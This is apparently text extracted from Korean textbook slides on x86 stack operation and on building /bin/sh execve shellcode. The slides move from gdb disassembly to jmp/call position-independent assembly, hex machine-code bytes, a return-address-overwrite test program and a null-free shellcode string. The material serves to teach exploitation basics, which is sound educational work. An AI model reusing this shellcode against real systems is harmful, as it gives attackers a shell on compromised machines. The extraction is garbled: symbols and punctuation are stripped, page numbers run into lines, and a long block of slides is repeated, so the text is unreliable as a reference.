movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 66: 80×86  시스템에 대한 이해

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

